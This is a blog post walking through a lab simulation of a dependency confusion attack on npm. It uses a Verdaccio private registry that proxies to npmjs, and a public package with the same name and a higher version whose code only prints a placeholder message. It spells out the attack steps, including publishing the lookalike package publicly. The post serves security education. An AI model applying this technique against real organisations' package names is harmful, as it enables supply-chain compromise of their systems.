Dhananjay Bhujbal

Attack Simulation - Dependency Confusion Attack

Introduction

In my previous post - Dependency Confusion Attack - Deep Dive & Attack Techniques, I covered the theory behind dependency confusion attacks-how modern package managers can unintentionally pull malicious code from public registries. That discussion stayed at a conceptual level.

In this lab, I wanted to go one level deeper and actually observe the behavior in a controlled setup. Instead of just understanding what happens, the goal here is to see how it happens in a system that closely resembles a real enterprise environment.

At a high level, we are going to simulate a situation where an application depends on an internal package, but due to registry configuration and version mismatch, a malicious package from a public registry gets installed and executed.

system dedign

What We Are Building

To make this realistic, I recreated a common enterprise pattern:

The key condition we will trigger is simple:

The application requests a version that does not exist internally, and the registry silently falls back to the public source.

That is where the attack happens.

Prerequisites

Before starting, here is what I used and why each component is important:

Creating the Victim Application

I started by creating a minimal Node.js application. The purpose of this application is simply to depend on a package and execute it.

mkdir my-app
cd my-app
npm init -y

Then I created a simple entry file index.js

const utils = require("onemorelens-utils");

utils();

At this point, the application assumes that a package named onemorelens-utils exists somewhere in its configured registry.

Creating the Internal Package

Next, I created the internal version of this package. This represents what a company would normally host in its private registry.

mkdir internal-package
cd internal-package
npm init -y

The package was defined as:

{
  "name": "onemorelens-utils",
  "version": "1.0.0",
  "main": "index.js"
}

And the implementation:

module.exports = () => {
  console.log("Internal package v1.0.0");
};

Setting Up the Private Registry

To simulate an enterprise environment, I used Verdaccio as a private registry.

verdaccio

By default, it runs on http://localhost:4873

Then I configured npm to use this registry:

npm set registry http://localhost:4873

After authenticating, I published the internal package:

npm adduser --registry http://localhost:4873
npm publish --registry http://localhost:4873

At this point, the internal package is available in the private registry.

Creating the Malicious Package

Now comes the attacker-controlled part.

I switched back to the public registry:

npm set registry https://registry.npmjs.org/
npm login

Then created a package with the same name but higher version:

{
  "name": "onemorelens-utils",
  "version": "1.1.0",
  "main": "index.js"
}

The code inside it:

console.log("Malicious code executed");

module.exports = () => {
  console.log("Looks normal");
};

Finally, I published it:

npm publish

This package is now available publicly and appears more recent than the internal version.

Configuring Upstream Proxy (Critical Step)

This is what makes the setup realistic.

In many organizations, private registries are configured to fetch packages from public sources if they are not found internally.

In Verdaccio, this is controlled via the configuration:

uplinks:
  npmjs:
    url: https://registry.npmjs.org/

packages:
  '**':
    access: $all
    publish: $authenticated
    proxy: npmjs

This means:

  1. Check internal storage first
  2. If the required version is not found, forward the request to npmjs

Triggering the Attack

Back in our victim application, I updated the dependency to explicitly request a version that does not exist internally:

"dependencies": {
  "onemorelens-utils": "1.1.0"
}

Notice the mismatch:

Then I performed a clean install:

rm -rf node_modules package-lock.json
npm install

Observing the Behavior

Here is what happens under the hood:

  1. The application requests version 1.1.0
  2. Verdaccio checks internal storage - not found
  3. Verdaccio forwards the request to npmjs
  4. npmjs returns the malicious package
  5. The package gets installed

Running the application:

node index.js

Produces:

Malicious code executed
Looks normal

What Just Happened?

This was not a simple “install from public registry” scenario.

This was a trusted internal system silently pulling code from an external source because of:

The application believed it was using an internal dependency, but ended up executing attacker-controlled code.

Key Takeaway

The core issue is not just dependency management-it is implicit trust boundaries.

Once a private registry is allowed to proxy to public sources, any mismatch or misconfiguration can introduce untrusted code into the system.

That is where dependency confusion becomes dangerous.

Lab Repository

https://github.com/Dhananjay-B/dependency-confusion-attack-lab

📢 Share this post

Twitter

LinkedIn

WhatsApp